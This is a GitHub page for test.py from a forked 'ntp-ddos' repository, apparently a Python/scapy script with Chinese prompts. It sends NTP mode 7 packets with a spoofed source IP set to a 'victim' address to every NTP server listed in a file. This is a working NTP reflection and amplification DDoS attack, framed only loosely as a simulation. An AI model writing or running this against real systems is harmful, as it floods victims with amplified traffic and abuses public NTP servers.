forked from caijynb/ntp-ddos
-
Notifications
You must be signed in to change notification settings - Fork 0
/
test.py
31 lines (22 loc) · 969 Bytes
/
test.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from scapy.layers.inet import IP, UDP
from scapy.layers.ntp import NTP
from scapy.all import send
from random import randint
target = input("请输入模拟被害者的IP(输入前请先在模拟机上tcpdump抓包): ")
def test_ntp_server(ntp_server, count=10):
print(f"测试NTP服务器: {ntp_server}")
for i in range(count):
try:
sport = randint(40000, 50000) # 选择40000到50000之间的随机端口
packet = IP(dst=ntp_server, src=target) / UDP(sport=sport, dport=123) / NTP(version=2, mode=7, stratum=0,
poll=3, precision=42)
send(packet)
except:
pass
def test_ntp_servers(filename="top.txt"):
with open(filename, "r") as file:
for line in file:
ntp_server = line.strip()
test_ntp_server(ntp_server)
if __name__ == "__main__":
test_ntp_servers()